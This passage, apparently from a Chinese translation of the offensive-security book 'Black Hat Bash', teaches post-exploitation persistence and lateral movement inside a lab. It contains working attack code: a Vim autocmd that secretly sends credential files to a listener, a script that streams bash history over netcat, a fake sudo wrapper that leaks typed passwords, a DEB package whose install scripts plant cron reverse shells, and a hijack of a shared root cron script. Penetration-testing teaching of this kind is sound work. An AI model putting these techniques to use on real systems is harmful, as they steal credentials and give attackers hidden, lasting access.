总结来说,当用户写入一个名为credentials.conf的文件时,Vim 将执行一个 curl 命令,秘密地将该文件发送到远程监听器。将此文件保存为~/.vimrc。接着,通过使用任何 TCP 监听器在 Kali 机器上打开一个远程监听器:
$ **nc -lkvp 8080**
listening on [any] 8080 ...
最后,使用 vi 或 vim.tiny 命令(因为 vi 在实验室中是 vim.tiny 的符号链接),打开一个文件并写入内容:
$ **vim.tiny /tmp/credentials.conf**
USER=nostarch
PASS=press123
当你使用 Vim 将文件保存到磁盘时,你应该注意到文件内容已被发送到监听器:
listening on [any] 8080 ...
172.16.10.13: inverse host lookup failed: Unknown host
connect to [172.16.10.1] from (UNKNOWN) [172.16.10.13] 42538
POST / HTTP/1.1
Host: 172.16.10.1:8080
User-Agent: curl/7.88.1
Accept: */*
Content-Length: 29
Content-Type: application/x-www-form-urlencoded
**USER=nostarch**
**PASS=press123**
如果你想泄露所有文件,无论其扩展名如何,这个 autocmd 命令应该能完成任务:
autocmd BufWritePost * :silent !timeout 1 curl -m 5 -s -o /dev/null
http://172.16.10.1:8080 --data-binary @<afile>
然而,如果文件特别大,上传可能需要很长时间。这可能会让用户察觉到某些不正当行为,因为写入文件时会导致明显的延迟。让我们让我们的钩子更聪明一点(列表 10-6)。
autocmd BufWritePost *.conf,*.config :silent !if grep "PASSWORD\|SECRET\|APIKEY" <afile>;
then timeout 3 curl -m 5 -s -o /dev/null http://172.16.10.1:8080
--data-binary @<afile>; fi
列表 10-6: 使用 autocmd 条件执行命令
现在,命令将只查找包含凭证的文件,比如密码或 API 密钥。
流式传输已执行的命令
在第八章中,我们讨论了历史文件,比如~/.bash_history。历史文件记录了用户执行的命令,并允许访问、审计和重放之前执行的命令。
每当新命令被执行时,历史文件就会更新,因此将历史文件流式传输到网络上的监听器,以提供命令执行事件的实时记录,这可能会很有趣,从而将其传输到我们控制的服务器。这些命令可能揭示用户在服务器上执行了什么操作,并捕获他们通过命令行输入的任何凭据。(注意,~/.bash_history只是一个示例;你可能会发现通过此方法流式传输其他文件在将来会更有用。)
让我们设置几个 bash 命令,将最后写入的命令通过网络发送到远程监听器。此技术假设你有权限访问用户的主目录,并能修改~/.profile文件,或者有能力写入系统范围的/etc/profile文件。
在p-jumpbox-01(172.16.10.13)上,使用root用户,在/etc/profile.d目录下创建一个名为99-stream.sh的文件,内容参考列表 10-7。
❶ export PROMPT_COMMAND="history -a; history -r; $PROMPT_COMMAND"
❷ if ! pgrep -u "$(whoami)" nc &> /dev/null; then
❸ tail -F ~/.bash_history | nc 172.16.10.1 4444 &> /dev/null &
fi
列表 10-7:通过网络流式传输历史文件
在 ❶ 处,我们导出 PROMPT_COMMAND 变量,以便在执行期间使其对后续命令可用。我们将此变量设置为一个 bash 命令,该命令将在终端显示提示之前执行。您会注意到我们将 history 命令传递两次作为其值:一次使用 -a(追加)参数,第二次使用 -r(读取)参数。PROMPT_COMMAND 的值将在显示提示之前执行,允许我们在执行命令时追加到历史文件并从中读取。
我们通过使用 pgrep ❷ 检查 Netcat(nc)进程是否在运行。我们使用 -u(用户)与 whoami 结合,将进程列表限制为仅列出当前用户运行的 nc 进程。如果 pgrep 返回退出码 1(未找到进程),则没有反向 shell 从此用户连接,因此我们可以建立一个新的连接。这有助于我们避免从同一用户打开多个连接。
我们使用 tail 命令读取历史文件的末尾,并将其管道传输到 nc ❸。-F(跟随)参数跟踪文件的末尾,因此任何新内容都会被发送到网络。
最后,我们将在 Kali 上使用 socat,以便在多个用户同时连接并执行命令时,能够接收多个连接而不关闭服务器端的连接:
$ **socat TCP4-LISTEN:4444,fork STDOUT**
打开另一个终端并作为用户 backup(先前被入侵密码为 backup)登录到 p-jumpbox-01(172.16.10.13)。然后输入几个命令:
$ **ssh backup@172.16.10.13**
backup@172.16.10.13's password:
backup@p-jumpbox-01:~$ **id**
uid=34(backup) gid=34(backup) groups=34(backup)
backup@p-jumpbox-01:~$ **whoami**
backup
backup@p-jumpbox-01:~$ **uptime**
02:21:50 up 14 days, 12:32, 0 user, load average: 0.60, 0.40, 0.23
观察 socat 输出的结果:
$ **socat TCP4-LISTEN:4444,fork STDOUT**
id
whoami
uptime
您可以调整此技术来流式传输任何有价值的文件,如应用程序或系统日志文件,在渗透测试期间。
锻造一个不那么无辜的 sudo
在第九章中,我们利用 sudo 命令的配置错误来提升我们的权限。但我们还可以通过另一种方式来损害 sudo:通过替换为我们自己的恶意版本,然后在用户输入密码运行命令时收集其密码。
此方法的主要缺点在于,当用户向 sudo 提供正确的密码时,它会缓存凭据一段时间(例如 15 分钟),后续命令将无需重新输入密码。负责缓存持续时间的设置称为 timestamp_timeout。
尽管有缓存,如果我们能拦截用户第一次输入密码时的执行,我们可能能够泄漏他们的密码。让我们通过这样一个例子来详细说明。在这种情况下,我们假设我们可以访问并修改用户的环境,以及修改像 ~/.bashrc 这样的文件。
我们将创建一个伪造的 sudo 脚本。然后,我们将修改被入侵用户的环境,通过别名执行伪造版本调用 sudo,使用 curl 发送他们的密码到网络,并继续正常的 sudo 执行流程,以避免引起怀疑。
让我们开始吧!您可以在 p-jumpbox-01 (172.16.10.13) 上的备份用户帐户中植入虚假 sudo 脚本来执行此场景。在某个可写位置创建此虚假 sudo 文件:
$ **touch /tmp/sudo && chmod +x /tmp/sudo**
接下来,通过向受损用户的 ~/.bashrc 环境文件添加一行来创建别名:
alias sudo='/tmp/sudo'
最后,将脚本填充到 列表 10-8 中的代码中。
#!/bin/bash
ARGS="$@"
leak_over_http() {
local encoded_password
❶ encoded_password=$(echo "${1}" | base64 | sed s'/[=+/]//'g)
curl -m 5 -s -o /dev/null "http://172.16.10.1:8080/${encoded_password}"
}
❷ stty -echo
❸ read -r -p "[sudo] password for $(whoami): " sudopassw
leak_over_http "${sudopassw}"
❹ stty echo
echo "${sudopassw}" | /usr/bin/sudo -p "" -S -k ${ARGS}
列表 10-8:一个虚假 sudo 脚本
在 ❷ 处,我们通过使用 stty -echo 关闭输入回显。然后,我们从用户那里读取输入,并呈现类似 sudo 的提示符 ❸。由于输入是用户的密码,在用户输入密码时不应该明文显示。这是因为,默认情况下,sudo 在用户输入时隐藏输入,我们需要模拟原始命令的外观和感觉。因此,我们在接受用户输入之前禁用输入回显。
接下来,我们通过使用 leak_over_http() 函数泄漏提供的密码。该函数将使用 base64 对密码进行编码,并使用 curl 发起 HTTP GET 请求到 web 服务器的路径,使用捕获的密码作为路径 ❶。
在 ❹ 处,我们打开输入回显并传递密码,以及用户执行的命令到真正的 sudo 二进制文件 (/usr/bin/sudo),以便 sudo 执行正常恢复。图 10-1 从头到尾展示了这个流程。

图 10-1:使用虚假 sudo 脚本进行密码拦截流程
最后,在您的 Kali 机器上,使用 Python 运行一个简单的 HTTP 服务器:
$ **python -m http.server 8080**
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/)...
然后打开另一个终端到 p-jumpbox-01 (172.16.10.13) 并运行一个 sudo 命令:
$ **sudo vi --help**
[sudo] password for backup:
您应该收到泄露的密码:
172.16.10.13 - - [22:59:32] "GET **/YmFja3VwCg** HTTP/1.1" 404 -
粗体的 base64 编码字符串是 backup,即备份用户的密码。
您可以在 github.com/dolevf/Black-Hat-Bash/blob/master/ch10/fake_sudo.sh 找到此脚本。
练习 21:劫持密码实用程序
您可以使用类似于我们刚刚执行的 sudo 攻击的方法来劫持其他实用程序。任何与凭据交互的工具都可以帮助您获得持久性,包括以下内容:
passwd 用于更改本地用户密码
chpasswd 用于批量更新密码
htpasswd 用于设置或更改 Apache 基本认证
smbpasswd 用于更改 Samba 用户密码(例如 Active Directory 用户密码)
ldappasswd 用于更改轻量级目录访问协议用户密码
尝试编写一个接受密码作为输入的虚假命令。以下是如何操作的指南:
1. 使用 man 来了解目标实用程序。
2. 尝试使用该工具,记录它如何提示用户输入密码,产生什么类型的输出以及如何处理错误。
3. 创建一个可以生成相同输出并接受相同输入的虚假实用程序。
4. 根据前一节的 sudo 脚本进行修改,以适应新的虚假实用程序,或者从头开始创建一个新脚本。
分发恶意包
Linux 系统根据发行版使用不同的包管理器,如 Debian(DEB)和 RPM。这些安装程序很有趣,因为它们允许你将自己的文件打包,并且如果你能让别人安装你开发的恶意包,你可能会通过后门攻击系统。在接下来的章节中,我们将探讨 DEB 包管理系统。然后我们将创建包含恶意代码的包。
请注意,Linux 上的软件安装默认需要 root 权限;普通用户不能使用诸如 dpkg -i package 或 rpm -i package 之类的命令,除非他们特别被授予对这些工具的特权访问权限。
理解 DEB 包
你会发现 DEB 包被 Debian Linux 发行版及其衍生版(如 Ubuntu)使用。DEB 包是 ar(归档)文件,包含三个文件:debian-binary,控制归档文件和数据归档文件。
debian-binary 文件是一个文本文件,包含包的版本号,例如 2.0。control archive 是一个压缩文件,包含脚本和元数据。data archive 包含包应安装的文件(例如,软件的手册页或额外的二进制文件)。
在我们自己构建包之前,让我们先看一个示例包。下载示例 DEB 包,example_amd64.deb。然后运行 dpkg --info 命令查看包的信息:
$ **dpkg --info example_amd64.deb**
new Debian package, version 2.0.
size 784 bytes: control archive=420 bytes.
168 bytes, 6 lines control
79 bytes, 3 lines * postinst #!/bin/bash
Package: example
Version: 1.0.0
Maintainer: Black Hat Bash (info@blackhatbash.com)
Description: My awesome package
Homepage: https://blackhatbash.com
Architecture: all
接下来,运行 strings 命令查看包的内容。你应该会看到我们讨论过的三个文件:
$ **strings example_amd64.deb**
!<arch>
debian-binary 1694828481 0 0 100644 4
control.tar.xz 1694828481 0 0 100644 420
YZdata.tar.xz 1694828481 0 0 100644 172
`--snip--`
最后,安装该包以查看它的作用。你可以在实验室的任何机器上或 Kali 上执行此操作:
$ **sudo dpkg -i example_amd64.deb**
Selecting previously unselected package example.
(Reading database ... 423743 files and directories currently installed.)
Preparing to unpack example_amd64.deb ...
Unpacking example (1.0.0) ...
Setting up example (1.0.0) ...
**I don't do anything other than echoing this to the screen!**
如你所见,除了在屏幕上打印一条消息外,包没有做任何特殊的事情。可以将其视为 DEB 包的 “Hello, world!”。
要提取 .deb 文件的内容,可以使用 ar 命令:
$ **ar -v -x example_amd64.db**
x - debian-binary
x - control.tar.xz
x - data.tar.xz
v 标志用于详细模式;x 标志用于提取,接受文件名。为了进一步提取 control.tar.xz 和 data.tar.xz 文件,你可以使用 tar 命令,带上 -x(提取),-v(详细)和 -f(文件):
$ **tar -xvf control.tar.xz**
$ **tar -xvf data.tar.xz**
DEB 包可以包含几种类型的脚本。对我们来说最有趣的是 inst(安装)和 rm(删除)脚本。安装脚本 负责包的引导过程。它们包括预安装脚本 (preinst),在包安装之前执行,和后安装脚本 (postinst),在包安装之后执行。这些脚本可以执行任何任务,但一些常见的任务包括创建目录、设置权限和复制文件。
rm 脚本 执行某种清理操作,例如删除文件或停止服务。这些包括 prerm 脚本,它们在包最终被删除之前执行诸如删除符号链接或与包相关的文件的操作,以及 postrm 脚本,它们在包被删除后清理文件。你能想到在这些脚本中包含恶意代码的方式吗?
打包无害软件
让我们通过制作自己的无害包来练习创建包。在你的 Kali 机器上,创建一个名为 example 的目录:
$ **mkdir /tmp/example && cd /tmp/example**
接下来,在 example 目录中创建一个名为 DEBIAN 的目录:
$ **mkdir DEBIAN**
在 DEBIAN 目录中创建一个名为 control 的文件,包含以下包元数据,并保存文件:
Package: example
Version: 1.0.0
Maintainer: Your Name
Description: Example
Homepage: https://nostarch.com
Architecture: all
然后使用 dpkg -b(构建)来构建包。-b 的第一个参数是包含要打包文件的目录名称,接着是生成的工件名称:
$ **dpkg -b example example_amd64.deb**
$ **ls -l**
drwxr-xr-x 3 kali kali 4096 Sep 17 20:33 example
-rw-r--r-- 1 kali kali 684 Sep 17 21:22 example_amd64.deb
我们可以使用 sudo dpkg -i package 安装此包,并使用 sudo dpkg -r package 卸载它。
使用 alien 转换包格式
其他 Linux 发行版使用不同的包格式。幸运的是,我们可以通过使用一个名为 alien 的工具将包从一种格式转换为另一种格式(例如,从 RPM 转换为 DEB 或从 DEB 转换为 RPM)。Kali 系统应该预装了 alien,如果没有,可以使用 sudo apt install alien 命令安装它。
以下示例将 DEB 包转换为 RPM 包:
$ **sudo alien -v -r bksh_amd64.deb --scripts**
dpkg-deb --info 'bksh_amd64.deb' control 2>/dev/null
`--snip--`
dpkg-deb --info 'bksh_amd64.deb' preinst 2>/dev/null
dpkg-deb --info 'bksh_amd64.deb' prerm 2>/dev/null
mkdir bksh-1.0.0
chmod 755 bksh-1.0.0
`--snip--`
bksh-1.0.0-2.noarch.rpm generated
我们使用参数-v(详细模式)、-r 包(其中 r 代表 rpm 转换)和 --scripts 来告诉 alien 使用详细输出,将包转换为 RPM 格式,并包含我们之前创建的前后脚本。
将 RPM 包转换回 DEB 格式只需要将 -r 参数改为 -d 即可。
练习 22:编写恶意包安装程序
我们可以通过几种方式创建一个恶意包安装程序,以便在系统上保持持久性:
-
通过入侵一个中央软件仓库,比如本地的 APT 仓库
-
通过入侵一个具有安装包权限的帐户
-
通过将恶意包作为钓鱼活动的一部分发送给系统管理员
第一种场景中提到的 APT 仓库是一个包含 DEB 包数据库的 Web 服务器。网络中的消费者,如服务器或终端用户,可以使用 APT 仓库将包下载到他们的操作系统并进行安装。你会在那些未直接连接互联网或专为只从受信任源安装软件的网络中看到这种设置。
让我们创建一个包含恶意脚本的 DEB 包,供上述某些场景使用。具体来说,我们将使用 postinst 和 postrm 脚本来部署并保持一个反向 shell。将你的包命名为 bksh,即 后门 shell,并创建一个 control 文件,如《包装无害软件》一节中所讨论的 第 253 页。接下来,在 DEBIAN 目录中创建 postinst 和 postrm 文件,并设置它们的权限:
$ **touch postinst postrm**
$ **chmod 775 postinst postrm**
你的目录结构应该如下所示:
$ **tree bksh**
bksh
└── DEBIAN
├── control
├── postinst
└── postrm
2 directories, 3 files
将 postinst 脚本填充为一个调用反向 shell 的 bash 脚本。例如,列表 10-9 中的脚本将通过使用系统范围的 crontab 文件 /etc/crontab 来连接 Kali 机器:
#!/bin/bash
if ! grep -q "4444" /etc/crontab; then
echo "* * * * * root nc 172.16.10.1 4444 -e /bin/bash" >> /etc/crontab
fi
列表 10-9:使用 /etc/crontab 进行反向 shell 回调
当用户第一次安装软件包时,一条记录将写入到 /etc/crontab。这个用户可以是 root 用户,也可以是任何可以使用 dpkg 等工具安装软件包的用户。为了确保我们只写入一次此记录,我们使用 grep 来检查文件中是否存在字符串 4444,然后再进行实际修改。
接下来,将 postrm 脚本填充为另一个反向 Shell。这次,cron 作业将属于执行软件包移除的用户,而不会是系统级的:
#!/bin/bash
if ! grep -q "4444" /var/spool/cron/crontabs/root 2> /dev/null; then
echo "* * * * * nc 172.16.10.1 4444 -e /bin/bash" | crontab - -u root
fi
第二个脚本提供了一个回退机制,用于在此软件包从系统中移除时。
你可以作为练习的扩展,开发额外的回退持久化机制。例如,如果系统显示有运行 Web 服务器进程并指向常见的 Web 目录,如 /var/www/html,可以尝试写一个小的 Web Shell 文件到系统中。
要测试这个软件包,先构建它,然后在你的 Kali 机器上启动一个 Netcat 反向 Shell。将软件包复制到其中一台实验室机器上,例如 p-jumpbox-01(172.16.10.13),并使用 root 用户安装它:
# **dpkg -i bksh_amd64.deb**
然后验证是否可以在 /etc/crontab 中看到反向 Shell 的 cron 作业:
$ **grep 4444 /etc/crontab**
大约一分钟后,你应该能看到反向 Shell 连接到你的 Kali Netcat 监听器。要测试 postrm,从 p-jumpbox-01 移除软件包,然后检查 root 用户的 crontab。
总结
在本章中,你学到了许多使用 bash 在入侵后的阶段保持访问的方法。我们将恶意逻辑引入了 PAM 模块、系统配置文件、文本编辑器和伪造的工具。我们还启用了休眠账户并添加了恶意的 SSH 密钥,然后使用 DEB 格式打包了恶意软件。
第十一章:11 网络探测与横向移动

在渗透测试中,你最初获得访问的网络或机器可能提供的价值有限。通过在目标环境中横向移动,你可以发现像相邻网络、数据库、应用服务器、文件共享服务器等珍贵资源。
作为渗透测试员,你会很快发现,现实中的企业环境更加注重其外部资产的安全性:这些资产暴露在喧嚣且开放的互联网中。这是因为外部边界被认为比内部网络更具风险,后者通常是由受信任的用户(如员工)使用的。
尽管公司可能只有少数面向互联网的资产,如营销网站或其他 Web 服务器,但其内部网络通常资产丰富。一旦进入一个组织的内部网络,你可能会发现打印机、网络交换机、员工计算机、文件服务器、智能设备等。
为了识别并访问这些资源,你可以重复我们已经讨论过的步骤:进行侦察、收集有价值的网络信息、识别和利用漏洞,并攻破连接到感兴趣网络的终端。因此,本章将加强之前章节的教训,扫描一个内部可访问的网络并识别额外的资产,尽管我们会强调一些新的技术。
示例将针对实验环境中的企业网络(10.1.0.0/24)。在继续之前,我们建议你再查看一下图 3.2(位于第 58 页),以便刷新你对实验室中可用网络的记忆——即公共网络和企业网络。
机器 p-jumpbox-01(172.16.10.13)和 p-web-02(172.16.10.12)是唯一同时连接到公共网络和企业网络的机器。每台机器有两个网络接口,使它们能够同时连接两个网络。因此,我们将在本章的一些攻击中使用这些机器来执行;其他攻击则通过 Kali 使用端口转发来执行。
探测企业网络
我们尚未收集有关 10.1.0.0/24 企业网络的信息。在这一部分中,我们将构建一个小型端口扫描器,它使用特殊的文件将发现的端口映射到命名的服务,并通过根据端口在外部环境中被打开的频率来优先扫描端口,从而加速端口扫描。内部网络往往托管的资产比渗透测试员从外部看到的要多,因此调整你的流程和工具有助于加速资产发现。
我们将通过使用操作系统上可用的工具,从 p-jumpbox-01(172.16.10.13)机器上执行网络扫描。请注意,你也可以修改并重用本书中迄今为止使用的一些端口扫描和信息收集脚本。
服务映射
在 Linux 上,/etc/services 文件将服务映射到由互联网号码分配局(IANA)分配的端口号。该文件包含几个由制表符分隔的列,例如服务名称、端口号和协议(例如,22/tcp),以及服务的描述。以下是来自 p-jumpbox-01 的 /etc/services 文件片段:
$ **grep -w -e 3306/tcp -e 3389/tcp -e 22/tcp -e 23/tcp -e 25/tcp /etc/services**
ssh 22/tcp # SSH Remote Login Protocol
telnet 23/tcp
smtp 25/tcp mail
mysql 3306/tcp
ms-wbt-server 3389/tcp
使用 grep 时,我们使用 -w 来执行整词匹配,并使用 -e 查找多个 TCP 端口。我们可以使用此文件迭代常见端口,并识别它们可能运行的服务。清单 11-1 是一个 bash 脚本,利用 /etc/services 以这种方式进行端口扫描。它使用安装在 p-jumpbox-01 上的 Ncat 进行端口扫描。
#!/bin/bash
TARGETS=("$@") ❶
print_help(){
echo "Usage: ${0} <LIST OF IPS>"
echo "${0} 10.1.0.1 10.1.0.2 10.1.0.3"
}
if [[${#TARGETS[@]} -eq 0]]; then ❷
echo "Must provide one or more IP addresses!"
print_help ❸
exit 1
fi
for target in "${TARGETS[@]}"; do ❹
while read -r port; do
if timeout 1 nc -i 1 "${target}" -v "${port}" 2>&1 | grep -q "Connected to"; then ❺
echo "IP: ${target}"
echo "Port: ${port}"
echo "Service: $(grep -w "${port}/tcp" /etc/services | awk '{print $1}')"
fi
done < <(grep "/tcp" /etc/services | awk '{print $2}' | tr -d '/tcp') ❻
done
清单 11-1:使用 /etc/services 作为数据库文件进行端口扫描
在 ❶ 处,我们定义了 TARGETS=() 数组变量,使用 "$@" 将传递给脚本的任何命令行参数赋值给此数组。然后,我们使用 if 条件检查 TARGETS 数组是否为空 ❷。若为空,则使用 print_help() 函数打印帮助信息 ❸。
我们遍历 TARGETS 数组 ❹。我们还通过使用 while 循环 ❻ 遍历 /etc/services 中的所有 TCP 端口,然后使用 nc 命令 ❺ 连接到目标和端口。如果端口被发现开放,我们会打印目标、端口和来自 /etc/services 的服务名称映射。脚本在对 c-backup-01(10.1.0.13)和 c-redis-01(10.1.0.14)进行扫描时应输出以下内容:
$ **./port_scan_etc_services.sh 10.1.0.13 10.1.0.14**
IP: 10.1.0.13
Port: 8080
Service: http-alt
IP: 10.1.0.14
Port: 22
Service: ssh
IP: 10.1.0.14
Port: 6379
Service: redis
如你所见,我们已识别出一些开放端口及其常见的服务名称。例如,我们看到键值数据库 Redis 经常使用端口 6379。
然而,服务可以在备用端口上运行,因此你需要对其进行指纹识别。要对端口 6379 进行指纹识别,请将 Redis INFO 命令通过管道传输到 nc 命令中(清单 11-2)。
$ **echo -e '\nINFO' | nc -v 10.1.0.14 6379**
`--snip--`
Ncat: (https://nmap.org/ncat)
Ncat: Connected to 10.1.0.14:6379.
$3249
# Server
redis_version:5.0.6
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:24cefa6406f92a1f
redis_mode:standalone
os:Linux 6.1.0-kali5-amd64 x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
`--snip--`
清单 11-2:指纹识别端口上运行的服务
这是 Redis 服务器的典型响应;我们将在《攻陷 Redis 服务器》章节中回到此服务,见 第 271 页。继续扫描其余机器 c-db-01(10.1.0.15)和 c-db-02(10.1.0.16),以识别是否有其他可用端口。
端口频率
/etc/services 文件提供了一个简单的端口到服务名称的映射,但我们可以改进它。Nmap 有一个名为 nmap-services 的文件(通常位于 /usr/share/nmap/nmap-services),它看起来几乎与 /etc/services 相同,但有一个优势:它包含了 端口开放频率,这是一个描述端口被发现打开的频率的数值,例如 0.18010。举例来说,HTTP 或 HTTPS 等常见网络服务比打印服务更常见。
让我们看一下这个文件。清单 11-3 中的命令过滤了端口 22(SSH)、端口 23(Telnet)、端口 3306(MySQL)和端口 1433(Microsoft SQL)。在 Kali 上执行该命令,然后观察频率值:
$ **grep -w -e 22/tcp -e 23/tcp -e 3306/tcp -e 1433/tcp /usr/share/nmap/nmap-services**
ssh 22/tcp 0.182286 # Secure Shell Login
telnet 23/tcp 0.221265
ms-sql-s 1433/tcp 0.007929 # Microsoft-SQL-Server
mysql 3306/tcp 0.045390
清单 11-3: 查看/etc/services文件中的特定端口
Telnet (0.221265) 的开放频率比 SSH (0.182286) 高,而 MySQL (0.045390) 的开放频率比 Microsoft SQL (0.007929) 高。这些频率数据帮助我们优先考虑要扫描的端口,去除不常见开放的端口,并集中于一小部分端口,从而降低错过关键服务的风险。在练习 23 中,我们将构建一个基于开放频率扫描端口的扫描器。
请注意,虽然服务名称与找到的端口关联,但这些端口未必反映实际运行的服务。例如/etc/services和nmap-services文件使用静态映射端口和服务,因此我们需要通过连接每个端口来正确识别渗透测试中的服务。
我们鼓励您利用书中学到的知识对这些主机进行额外的信息收集。您能否识别正在运行的应用程序或数据库及其版本?正在运行的操作系统又如何?在随后的部分中,我们将利用其中一些服务来访问其他机器并在网络中横向移动。
练习 23: 基于频率扫描端口
在这个练习中,您将执行类似于清单 11-1 中的端口扫描,但您将检查找到开放端口的频率,并优先考虑常见开放的端口。以下是您将要执行的高层次操作:
1. 在 Kali 上,从/usr/share/nmap/nmap-services文件中提取服务、端口及其开放频率值。将它们写入新文件或集成到脚本中。
2. 使用 sort 和 awk 等命令将端口按从最高频率到最低频率排序。
3. 创建一个端口扫描脚本,通过频率排序的端口进行迭代,并以某种格式返回结果。
你可以用多种方式来进行这项工作,我们鼓励你根据自己的逻辑编写脚本。如果遇到困难,请尝试修改清单 11-1 中的脚本。清单 11-4 展示了如何按nmap-services文件中端口的频率排序。
$ **grep "/tcp" /usr/share/nmap/nmap-services | sort -r -k 3 | awk '{print $1, $2, $3}'**
http 80/tcp 0.484143
telnet 23/tcp 0.221265
https 443/tcp 0.208669
ftp 21/tcp 0.197667
ssh 22/tcp 0.182286
smtp 25/tcp 0.131314
ms-wbt-server 3389/tcp 0.083904
pop3 110/tcp 0.077142
microsoft-ds 445/tcp 0.056944
netbios-ssn 139/tcp 0.050809
`--snip--`
清单 11-4: 按频率排序nmap-services文件
我们使用 grep "/tcp"仅过滤基于 TCP 的端口。然后将结果传递给 sort 命令,并传递-r(逆序)-k(键),后跟 3,表示频率列(第三列)。我们使用 awk 仅打印第一、第二和第三个字段,以获得更清晰的输出。这为我们提供了一个有序的端口列表,让您了解哪些端口更常见。
现在你已经有了一个列表,下一步是将此列表硬编码到你的脚本中并对其进行迭代,或者将内容写入文件并让 bash 脚本对文件中的每一行进行迭代。你选择的方向最终取决于你自己。然而,硬编码一个庞大的列表会使脚本难以阅读,除非你只列出少数几个端口,所以我们建议将其写入专用文件。
要测试你的脚本,将它复制到 p-jumpbox-01(172.16.10.13),并对目标列表运行它,以识别 10.1.0.0/24 企业网络上运行的任何服务。你应该看到类似以下的输出:
$ **./port_scan_with_frequency.sh 10.1.0.13 10.1.0.14 10.1.0.15 10.1.0.16**
IP: 10.1.0.13
Port: 8080
Service: http-alt
IP: 10.1.0.14
Port: 6379
Service: redis
IP: 10.1.0.15
Port: 80
Service: http
IP: 10.1.0.16
Port: 3306
Service: mysql
请记住,扫描可能需要几分钟才能完成。
利用共享卷上的 Cron 脚本
现在我们已经收集了有关企业网络的信息,我们将利用各种易受攻击的服务来获得对它的访问权限。Cron 作业有时会执行存储在多个机器共享的卷上的脚本。如果系统管理员配置错误了权限,未经授权的用户可能能够修改这些脚本,从而潜在地影响依赖这些脚本的系统。
注意在 p-web-01(172.16.10.10)上挂载了一个卷在 /mnt/scripts 下。你可以通过在服务器上运行 mount 或 df -hTP 命令来查看它:
$ **df -hTP | grep "/mnt/scripts"**
/dev/sda1 ext4 79G 26G 50G 34% /mnt/scripts
$ **mount | grep "/mnt/scripts"**
/dev/sda1 on /mnt/scripts type ext4 (rw,relatime,errors=remount-ro)
在这个目录下有一个名为 execute.sh 的脚本,由 root 用户拥有并可以写入。列表 11-5 显示了它的内容。
#!/bin/bash
# This script is executed every minute on c-backup-01 to do maintenance work.
❶ LOG="/tmp/job.log"
echo "$(date) - Starting cleanup script..." >> "$LOG"
❷ if find /tmp -type f ! -name 'job.log' -exec rm -rf {} +; then
❸ echo "cleaned up files from the /tmp folder." >> "$LOG"
fi
echo "$(date) - Cleanup script is finished." >> "$LOG"
列表 11-5: /mnt/scripts/execute.sh 文件
脚本中的注释表明它每分钟在 c-backup-01(10.1.0.13)机器上执行。我们可以推断,网络共享和这个脚本都在 c-backup-01 上可用。
让我们分析一下这个脚本的功能。在 ❶ 处,变量 LOG 被设置为文件路径 /tmp/job.log。在 ❷ 处,if 条件检查 find 命令的退出状态。find 命令搜索 /tmp 目录下所有不叫 job.log 的文件;在这种情况下,感叹号(!)是一个“非”操作符。如果 find 命令找到任何此类文件,则执行 -exec rm -rf {} + 命令,删除这些文件。在 ❸ 处,echo 命令将被删除的文件写入在 ❶ 处设置的日志文件中。
这个完整的脚本本质上是一个目录清理工具,每分钟通过在 c-backup-01 上运行的 cron 作业清空 /tmp 目录。由于这个 bash 脚本存在于一个挂载在两台机器上的卷中,其中一台我们有 root 权限,我们可以尝试修改它,让 c-backup-01 执行我们的自定义指令。然而有一个挑战:虽然该卷与 p-web-01 和 c-backup-01 共享,但这两台机器不在同一网络中。图 11-1 说明了这些机器是如何连接的。

图 11-1: p-web-01 和 c-backup-01 之间的间接网络访问
虽然p-web-01没有直接访问公司网络的权限,但p-web-02有。这意味着我们将修改p-web-01中的execute.sh脚本,但尝试通过p-web-02与c-backup-01进行交互。
验证可利用性
为了验证c-backup-01是否确实在执行execute.sh脚本,我们需要让它发出一个信号。这个信号可以是发送到我们打开的监听器的网络数据包;或者,我们可以强制c-backup-01在共享驱动器中创建一个文件。让我们试试这个。在p-web-01(172.16.10.10)上,将以下行添加到/mnt/script/execute.sh的末尾:
touch "/mnt/scripts/$(hostname).txt"
由于脚本声称每分钟运行一次,我们需要监视文件创建事件,以便在文件被删除之前看到它。我们可以使用 watch 命令来做到这一点。列表 11-6 将运行 ls -l 命令,并每两秒刷新一次输出。
$ **watch -d 'ls -l'**
Every 2.0s: ls -l p-web-01.acme-infinity-servers.com: Sat
total 8
-rw-r--r-- 1 root root 0 Nov 4 18:13 c-backup-01.acme-infinity-servers.com.txt
-rwxr--r-- 1 root root 529 Nov 4 18:08 execute.sh
列表 11-6:使用 watch 命令监控文件变化
如你所见,c-backup-01.acme-infinity-servers.com.txt文件出现,表明c-backup-01确实在执行这个脚本。
检查用户上下文
Cron 作业可以由专用用户运行,但在某些情况下,它们可能会以root用户身份运行。这可能出于方便,或者是安全疏忽。为了验证脚本运行的用户上下文,我们可以在文件中添加命令,以捕获主机名、运行 cron 作业的用户身份以及系统上运行的所有进程列表:
echo "Hostname: $(hostname)" > /mnt/scripts/$(hostname).txt
echo "Identity: $(id)" >> /mnt/scripts/$(hostname).txt
echo "Processes: $(ps aux)" >> /mnt/scripts/$(hostname).txt
重复列表 11-4 中的 watch 命令,查看写入文件的新内容。一旦写入内容,运行 cat 命令查看结果:
$ **cat /mnt/scripts/c-backup-01***
Hostname: c-backup-01.acme-infinity-servers.com
Identity: uid=0(root) gid=0(root) groups=0(root)
Processes:
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
`--snip--`
root 1812 0.0 0.0 2732 924 ? Ss 18:23 0:00 /bin/sh -c bash /mnt/scripts/execute.sh
root 1813 0.0 0.0 4244 3196 ? S 18:23 0:00 bash /mnt/scripts/execute.sh
root 1823 0.0 0.0 8204 4000 ? R 18:23 0:00 ps aux
脚本以 root 身份运行。这意味着我们在 root 上下文下拥有完全的命令执行能力。从这里开始,我们几乎可以做任何事情,例如查看由root用户拥有的文件,如/etc/shadow;在关键系统目录中写入自定义文件;将文件复制到远程服务器;以及添加用户。
练习 24:在备份服务器上获取反向 Shell
虽然上一节中发现的 cron 作业脚本漏洞赋予了我们在c-backup-01(10.1.0.13)上无限执行命令的能力,但我们还没有在服务器上获得 shell。让我们获取一个。
公司网络上的机器没有互联网访问权限。你需要找到其他方式来传输你可能需要的任何额外工具,以完成对公司网络的完全入侵。如何建立反向 shell 最终取决于你,但这里有一些高级指导,你可以遵循:
-
在你有权限并能够访问公司网络的机器上打开一个 shell 监听器,例如p-web-02(172.16.10.12)。
-
